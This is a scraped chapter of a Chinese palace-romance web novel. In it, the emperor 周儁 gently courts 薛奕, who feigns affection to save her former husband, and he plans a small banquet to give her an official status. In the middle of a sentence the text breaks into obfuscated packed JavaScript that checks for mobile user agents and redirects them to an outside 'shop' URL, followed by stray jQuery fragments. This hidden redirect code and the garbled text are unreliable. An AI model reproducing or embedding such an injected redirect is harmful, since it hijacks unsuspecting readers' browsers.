默认冷灰
24号文字
方正启体

9. 章程

作者:二两清红汤本书字数:K更新时间:
    帝王金口玉言,不得不听。


    话音一落,那些宫人,连同骆英梁简一齐,都飞快地退下了。


    没了人管的残羹就这么摆着,给灯火辉煌却空荡荡的大殿又多添了几分萧索。


    特意把人都赶走,是为了什么……薛奕越发不敢深想。


    她动了动手指,想继续之前的动作,赶快把这个不对劲的局面熬过去。但周儁仍旧抓着她,不仅不容许她挣脱,也不容许她更进一步。


    “你今日……”他的声音低低的,隔着胸膛的震动传来,仿佛又变得很温柔,“怎么了?”


    半日不见,从避如蛇蝎到婉转逢迎,变化这样大,敏锐如周儁,当然察觉到了她的异常。


    薛奕本来没想遮掩什么。既然是要向皇帝示好,本就需要让他知晓。


    可是周儁挑明了。


    这种事怎么能明说呢?


    薛奕总不能回答说我知道了你对我的心思,所以想要利用你的感情来救我犯了大罪的夫君——前夫君——吧?


    “妾……妾今日同骆英谈过了。”过了好一会,薛奕才道,把通红的脸埋得更低了,“才发现原先是妾误解了……”随着动作,她的声音几乎被埋在二人身体间那逼仄的缝隙中,瓮瓮的,倒显出几分可怜来。


    周儁没有立刻回答。


    有一阵,薛奕都要怀疑自己是不是说得太隐晦,导致周儁没有听明白。


    就在她想着怎么再咬牙圆一圆的时候,他终于开口。


    “……她都告诉你了?你都信了?”语气竟有几分难以置信。


    这有什么不能信的……就算不信骆英的那几句话,这偌大的宫殿,皇帝几日间的行径,难道是假的?


    好在薛奕是从侧面抱着周儁,她面上不由自主流露出的无奈也藏得好好的,没教周儁瞧见。


    “……嗯。”她含糊道。


    话音落下,周儁握着她的手一瞬间捏紧,然后再放松。


    “那便好。”他低声说,“我原先还担心不方便亲口说与你听……但既然如此……”


    随着他略显语无伦次的话,薛奕的心慢慢悬起。


    她是下了决心的,就算周儁要索取些……什么拥抱,亲吻,甚至是无微不至的服侍,为了蒲望的命,她也愿意忍耐。只唯独一件事,她是不愿的。


    ……她还怀着孩子。她也相信周儁不是那种会逼着她在此时欢好的人。


    只不过,就像是在堂下跪着听头顶的宣判,再笃信的事都没有十足的把握。


    她听着自己的心跳声,还有隔着衣袍传来的,周儁胸膛起伏的呼吸声,然后,在这既漫长又短暂的片刻宁静中,周儁终于动了。


    ——他抬起薛奕的手,用脸颊贴了贴。


    仿佛很爱怜的样子。


    薛奕始料未及,有一瞬的空白,直到周儁用另一只握着她的肩头,让她转过来。


    四目相对。


    周儁终于继续说了下去:


    “……我知晓你一时半会还不能接受,没关系,我们慢慢来。”


    那语气,那神态,带着仿佛永远不会化开的包容与温柔,立刻把她拉回了三年前——


    薛奕鼻子一酸。


    她记忆里的周儁,就是这样的。


    ——在暗无天日的深宫中,落到如她一般孤苦无依的可怜人身上唯一的那一抹阳光,那一丝丝希望。


    他曾经是那么好的人。


    自从回宫,她一直陷入在恐惧和无措的泥泞之中,不过短短两日,居然就已经忘却了被照拂是怎样的感觉。


    因此,虽然这大抵只是一句周儁的随口安慰,她反而有些没来由地触动,一时间克制不住情绪,怀念地直直看着周儁。


    半晌。


    是周儁亲手替她拭去眼角的泪水,她才蓦然发现自己已经泛起泪了。


    她倏地低下头,难为情地皱了皱鼻子,急急地说:


    “妾、妾还是继续为陛下更衣……”


    “无妨,随手的事,我自己来就成。”周儁说,顿了顿,又有些不舍地捏了捏她的手,方道,“今早是我将你吵醒了,你先进去休息吧。”


    ……他还记得今早的事。


    薛奕的脸越发烫了。


    她如蒙大赦,又羞又恼,根本不敢再看周儁,胡乱应了两句便收起手,往内室走去。


    生怕晚一点,周儁便要收回成命。


    走了三五步后,她又意识到自己“噔噔”的脚步声实在是急了,简直像落荒而逃。于是收起脚,深吸一口气。


    谁料身后的周儁还在注视着她。


    “去吧。”见状,周儁又重复了一遍,不厌其烦。


    薛奕呆了呆。她虽然落泪,却不是伤心,此刻有心想回头瞧瞧,看一看皇帝的神情。


    不过最终她还是忍住了,没有回头。


    ……难道他以为她在伤心么?


    ——


    这一等,还真又等了许久。周儁进来的时候,薛奕已经坐在榻上,无聊得对着宫灯在发呆了。


    周儁见了,笑了笑,然后压下嘴角,将龙袍亲自挂在一旁的衣桁上,又撩起床帏,坐在了薛奕身侧。


    一连串动作,行云流水。


    “快过年了,宫中事杂,多嘱咐了几句。”他还跟薛奕解释自己来迟的原因。


    薛奕这才后知后觉地想起来,太后多年前就已经不愿意搭理这些事,如今宫中是没有半个宫妃的,自然更没有人主持中馈。


    这些年里,宫中的宫务,怕不都是周儁这个皇帝在一力承当。


    要说周儁晚归,薛奕当然是全然不介意的,她恨不得周儁整夜都不要来。不过比起这种不现实的许愿,她还是有足够的理智,知道——这种时候,要表现出介意,才能讨周儁欢心。


    “陛下肩上担着天下,还是要保重龙体,别为这些琐事劳累了。”


    周儁看她一眼,知道她是装模作样关怀一句,却也受用。


    “也不是琐事,是要开始筹备宫宴了,下面人找我要个章程。”


    “那宫中要热闹了。”薛奕随口附和。


    她还记得那几次在宫中过年的情形,尤其是周儁登基后。


    鼓乐齐鸣,火树银花,一派欣欣向荣。


    “前两年办得大,凡是王孙都邀进京来,是为了彰显天恩。”周儁却说,语气坦荡认真,“今年就不这样大办了,关起门来办个家宴,顶多请在京的几个皇亲,费不了什么功夫。”


    话说到这里,薛奕才听明白了周儁的暗示,倏地抬眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423888|200842||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,看向他。


    “……妾也要去么?”她嗫声道。


    她被强留在宫中,没个身份,没个名义,名不正言不顺,本来是不可能去的。但若是周儁这样同她叙话,那么这个问题的答案或许是……


    “当然要去了。”周儁道,“不然你以为我带你回宫做什么,真把你关在这不见天日的宫殿中?”


    闻言,薛奕心中先是一动,但随即又变得五味杂陈。


    “那妾以什么身份去呢?”她问,不喜不悲,只是叩问。


    若是旁人,甚至若是数年前的薛奕本人,身上没有背着这样复杂的过往,听见帝王如此慷慨的恩赏,恐怕都要高兴得心下怦怦直跳了。但她没法高兴起来。且不说他们中间还横着个蒲望,就说她如今的身份,这一趟宫进得不明不白,暗地里捂着也就罢了,要出去见人,只有为人不齿的份。


    而且,若周儁只是囚她在含章殿,虽然听着恐怖,等他厌倦了,说不定她还能有一条出宫的活路。但若是真过了明路,上了玉牒,她才是真的想逃也逃不掉的。


    周儁大抵也明白她在想什么,用臂膀将她环起来,脸贴着脸,低低地劝:


    “所以才要提前筹备。过年前,先在永乐宫办一个‘小宴’。我昨日便派了人去,请你的‘姐妹’一道入京,再多请几个命妇,混在人里,只把身份做实了,旁的都可以从长计议。”语气温柔,几乎称得上循循善诱。


    薛奕哪有什么姐妹?他口中的姐妹,自然是出自荥阳薛氏的那个“老家”。


    现在想来,融风口中那“皇帝要选秀”的流言,恐怕也是周儁授意传出去的。在今日之前,在动手处理蒲望之前,周儁便已经在铺路了,为的,仅仅是在找回薛奕之后,让她能有一个光明正大的身份。


    就连薛奕也不由地在心底赞一句准备周全……比起蒲望那一纸轻飘飘的户籍,真是好上不少。


    好得仿佛他们果真曾经有过什么,果真是对被天意捉弄,半途失散的眷侣似的!


    然而这你情我愿毕竟是她装出来的,因此周儁越周全,她的心里越酸涩,到后面,已经不忍听下去了。


    “陛下真是上心,”她柔顺地抱了回去,“不过妾实在是有些乏了……”


    周儁立刻会意,心一软,又道了一回歉:“是教你久等了,全是我的错。这些事本该白日里预备好的……就寝吧。”


    这一夜,就比前一夜要和谐多了。


    薛奕从前都不知道,自己竟这样会装。明明心中屈辱,只要熄了灯,眼睛一闭,她也能强忍着不适,像一个真正的含羞带怯的宫妃一样,就这么躺在周儁的怀里,安心睡去。


    当然,同榻而眠,本来就不仅限于夫妻,也可以是亲眷。


    就像她刚领融风回家的那几天,孩子就像只受惊的幼兽,夜里睡不着觉,被她抓了个正着。彼时,她就是这么抱着融风,慢慢地哄她入睡的。


    何况到了今日的局势,薛奕肯定是不能再拘泥于那些礼法,没有什么豁不开的了。


    含章殿比蒲宅要温暖太多、舒适太多。她自欺欺人地想着,或许等到周儁终于愿意开尊口宽赦蒲望那一天,若真要留她在宫中,她大约也就这么认命了。


    再怎么,也不会有当年侍奉先帝那么苦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)